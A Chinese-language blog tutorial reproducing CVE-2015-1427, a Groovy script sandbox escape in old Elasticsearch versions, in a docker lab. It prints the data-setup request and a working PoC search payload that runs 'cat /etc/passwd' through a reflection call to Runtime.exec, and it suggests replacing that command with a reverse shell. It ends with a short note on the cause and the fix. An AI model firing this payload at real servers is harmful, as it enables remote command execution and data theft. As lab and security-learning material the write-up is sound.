漏洞复现-CVE-2015-1427-Groovy远程代码执行
2024-08-30 20:00:30
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2
0x02 漏洞复现
简介:ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞
该版本存在漏洞风险!!!
与上一篇代码执行一样,这次的执行方式也是,需要首先使用ElasticSearch的目录创建数据,创建成功将如下图所示:
POST /website/blog/ HTTP/1.1
Host: yourIP:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27 {
"name": "hello1"
}
然后直接使用POC进行代码执行:
POST http://target:9200/_search?pretty
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
以POST的方式提交,可以修改cat etc/passwd命令为其他反弹shell的命令,具体可以参考上一篇命令执行文章。
0x03 实验原理
参考:https://www.cnblogs.com/sxmcACM/p/4435842.html
2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。修复:修改elasticseach.yml的 script.groovy.sandbox.enabled 为 false。
最新文章
- SpringBoot Schedule 配置
- ubuntu安装pip3
- MongoDB基本概念
- 关于软工项目beta版本
- MUI功能列表
- NOIP2006 能量项链
- Nginx Resource
- 看懂SqlServer查询计划 SQL语句优化分析
- orale 查询每年、每月、每日统计量的sql语句
- Round #4 RMQ问题ST算法
- TextView走马灯
- 优美序列(sequence)
- mysql 定时备份bat脚本 ,方便小型服务简单快速备份mysql
- TRIO-basic指令--九九乘法表demo
- pygame设置text和image共同显示
- python 条件语句和基础数据类型
- 复习下C 链表操作(单向循环链表、查找循环节点)
- DNS Bind服务配置解析
- 【RF库Collections测试】lists should be equal
- 初学SQL语句练习1